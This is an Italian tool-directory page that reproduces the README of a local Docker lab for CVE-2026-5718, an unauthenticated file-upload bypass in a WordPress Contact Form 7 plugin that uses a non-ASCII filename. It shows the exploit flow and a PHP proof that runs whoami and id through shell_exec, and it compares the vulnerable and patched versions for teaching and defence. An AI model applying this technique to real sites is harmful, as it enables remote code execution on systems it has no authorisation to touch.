Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-5718-Lab — Laboratorio Docker locale che dimostra il caricamento arbitrario di file CVE-2026-5718 in un plugin WordPress, con servizi vulnerabili e patchati per un'analisi fianco a fianco di sfruttamento e difesa. | Kitploit
Strumenti/GitHubGitHub/rootdirective-sec/cve-2026-5718-lab
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFApprendimento e FormazioneLab e Pratica
GitHubrootdirective-sec/cve-2026-5718-lab

CVE-2026-5718-Lab

Laboratorio Docker locale che dimostra il caricamento arbitrario di file CVE-2026-5718 in un plugin WordPress, con servizi vulnerabili e patchati per un'analisi fianco a fianco di sfruttamento e difesa.

Vedi Repository
1263 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-5718 Lab Docker Locale

Laboratorio Docker locale solo vulnerabile vs patchato per CVE-2026-5718, che colpisce il plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7.

Questo laboratorio mostra la differenza tra la versione vulnerabile 1.3.9.6 e la versione patchata 1.3.9.7 utilizzando una prova di esecuzione PHP a danno minimo all'interno di un ambiente esclusivamente Docker.

Ambito: solo localhost / rete Docker. Non utilizzare questo PoC contro sistemi di cui non si possiede o non si ha esplicita autorizzazione per testare.


Riepilogo Esecutivo

CVE-2026-5718 è una vulnerabilità di upload arbitrario di file nel plugin Drag and Drop Multiple File Upload for Contact Form 7 fino alla versione 1.3.9.6 inclusa.

Il problema si attiva quando vengono configurati tipi di blacklist personalizzati e un nome file contiene caratteri non ASCII. Nella versione vulnerabile, un upload pericoloso .php può bypassare la protezione prevista e rimanere eseguibile. La versione 1.3.9.7 corregge il problema rifiutando lo stesso upload.

Questo repository esegue due servizi WordPress locali:

  • vuln su http://localhost:8081 con versione plugin 1.3.9.6
  • patched su http://localhost:8082 con versione plugin 1.3.9.7

Architettura del Laboratorio

root@kitploit:~
Host
├── http://localhost:8081  -> vulnerable WordPress service
└── http://localhost:8082  -> patched WordPress service

Docker network
├── vuln
├── vuln-db
├── patched
└── patched-db
ServizioScopoPorta HostVersione
vulnLaboratorio WordPress vulnerabile8081Plugin 1.3.9.6
patchedLaboratorio WordPress patchato8082Plugin 1.3.9.7
vuln-dbDatabase MySQL per servizio vulnerabileinternalMySQL 8.0
patched-dbDatabase MySQL per servizio patchatointernalMySQL 8.0

Struttura del Repository

root@kitploit:~
.
├── docker-compose.yml
├── patched
│   └── Dockerfile
├── poc
│   └── poc.py
│   └── requirements.txt
├── scripts
│   └── seed-wordpress.sh
├── vuln
│   └── Dockerfile

Flusso della Vulnerabilità

Il modulo preconfigurato di Contact Form 7 contiene un campo Drag and Drop Multiple File Upload:

root@kitploit:~
[mfile upload-file filetypes:* blacklist-types:zip limit:1048576]

Il PoC carica un file PHP di prova denominato:

root@kitploit:~
proof-β.php

Il carattere β è non ASCII. Questo è importante perché la vulnerabilità dipende dalla gestione del nome file per input non ASCII.

Flusso ad alto livello:

root@kitploit:~
PoC
 ↓
Fetch lab page and extract DnD CF7 AJAX nonce
 ↓
Upload proof-β.php through wp-admin/admin-ajax.php
 ↓
Vulnerable 1.3.9.6 accepts and stores the file as .php
 ↓
PoC requests the uploaded file
 ↓
Vulnerable lab executes the PHP proof as www-data

Flusso patchato:

root@kitploit:~
PoC
 ↓
Upload the same proof-β.php file
 ↓
Patched 1.3.9.7 rejects the upload
 ↓
No PHP file is stored and no code execution occurs

Progettazione della Prova RCE Locale

La prova PHP caricata è volutamente minima:

root@kitploit:~
<?php
header('Content-Type: text/plain');
echo "CVE_2026_5718_LOCAL_RCE_PROOF\n";
echo "whoami=" . trim(shell_exec('whoami')) . "\n";
echo "id=" . trim(shell_exec('id')) . "\n";
?>

La prova esegue solo whoami e id per mostrare il contesto di esecuzione. Non utilizza reverse shell, persistenza, accesso alle credenziali, movimento laterale, scansione di rete o azioni distruttive.

Il servizio vulnerabile consente intenzionalmente l'esecuzione PHP nella directory di upload del plugin affinché l'impatto sia osservabile in questo laboratorio locale. Il servizio patchato mantiene il comportamento più sicuro e rifiuta l'upload al livello di validazione dell'applicazione.


Requisiti

  • Docker Desktop
  • Docker Compose v2
  • Python 3

Installa le dipendenze Python:

root@kitploit:~
python3 -m venv .venv
source .venv/bin/activate
pip install -r poc/requirements.txt

Costruzione ed Esecuzione

Inizia da uno stato pulito:

root@kitploit:~
docker compose down -v
docker compose up --build -d

Controlla lo stato del servizio:

root@kitploit:~
docker compose ps

Apri le pagine del laboratorio:

root@kitploit:~
http://localhost:8081/cve-2026-5718-lab/
http://localhost:8082/cve-2026-5718-lab/

Esegui il PoC

Esegui contro il servizio vulnerabile:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8081

Esegui contro il servizio patchato:

root@kitploit:~
python poc/poc.py --base-url http://localhost:8082

Il PoC accetta solo target localhost o loopback.


Risultato Atteso

Servizio Vulnerabile

Comportamento atteso:

  • L'upload viene accettato.
  • Il nome file caricato rimane un file .php.
  • La prova PHP caricata viene eseguita come utente del server web.

Esempio di output:

root@kitploit:~
Upload response:
{"success":true,"data":{"path":"cve5718proof","file":"proof-\u03b2.php"}}

Proof response:
CVE_2026_5718_LOCAL_RCE_PROOF
whoami=www-data
id=uid=33(www-data) gid=33(www-data) groups=33(www-data)

[result] VULNERABLE behavior observed: uploaded PHP proof executed.

Servizio Patchato

Comportamento atteso:

  • Lo stesso upload viene rifiutato.
  • La prova PHP non viene archiviata come file eseguibile.
  • Non si verifica alcuna esecuzione di codice.

Esempio di output:

root@kitploit:~
Upload response:
{"success":false,"data":"Uploaded file is not allowed for file type"}

[result] Upload rejected by the application.
[result] Reason: Uploaded file is not allowed for file type

Note di Sicurezza

Questo laboratorio è intenzionalmente limitato a test locali.

Il PoC:

  • blocca target non localhost,
  • non utilizza una reverse shell,
  • non esegue persistenza,
  • non legge segreti,
  • non scansiona reti,
  • esegue solo whoami e id all'interno del container vulnerabile.

Il servizio vulnerabile allenta l'esecuzione PHP nella directory di upload solo per rendere osservabile la prova locale. Non copiare quella configurazione in produzione.


Pulizia

Ferma i container:

root@kitploit:~
docker compose down

Rimuovi container e volumi:

root@kitploit:~
docker compose down -v

Rimuovi l'ambiente virtuale Python:

root@kitploit:~
rm -rf .venv

Riferimenti

  • NVD: CVE-2026-5718 https://nvd.nist.gov/vuln/detail/CVE-2026-5718

  • Avviso Patchstack: Plugin WordPress Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Upload Arbitrario di File Non Autenticato tramite Bypass Blacklist Nome File Non ASCII https://patchstack.com/database/wordpress/plugin/drag-and-drop-multiple-file-upload-contact-form-7/vulnerability/wordpress-drag-and-drop-multiple-file-upload-for-contact-form-7-plugin-1-3-9-6-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass-vulnerability

  • Wordfence Intelligence: Drag and Drop Multiple File Upload for Contact Form 7 <= 1.3.9.6 - Upload Arbitrario di File Non Autenticato tramite Bypass Blacklist Nome File Non ASCII https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/drag-and-drop-multiple-file-upload-contact-form-7/drag-and-drop-multiple-file-upload-for-contact-form-7-1396-unauthenticated-arbitrary-file-upload-via-non-ascii-filename-blacklist-bypass

  • Database Advisory GitHub: GHSA-xj7v-jqv6-v48w https://github.com/advisories/GHSA-xj7v-jqv6-v48w

  • Pagina del plugin su WordPress.org: Drag and Drop Multiple File Upload for Contact Form 7 https://wordpress.org/plugins/drag-and-drop-multiple-file-upload-contact-form-7/

  • Pagina del fornitore del plugin: Drag & Drop Multiple File Upload for Contact Form 7 https://www.codedropz.com/drag-drop-multiple-file-upload-for-contact-form-7/


Dichiarazione di Non Responsabilità

Questo repository è solo per scopi educativi e di ricerca sulla sicurezza difensiva. È progettato per essere eseguito solo su localhost utilizzando Docker. Non utilizzare il PoC contro sistemi pubblici o di terze parti.

Scarica lo strumento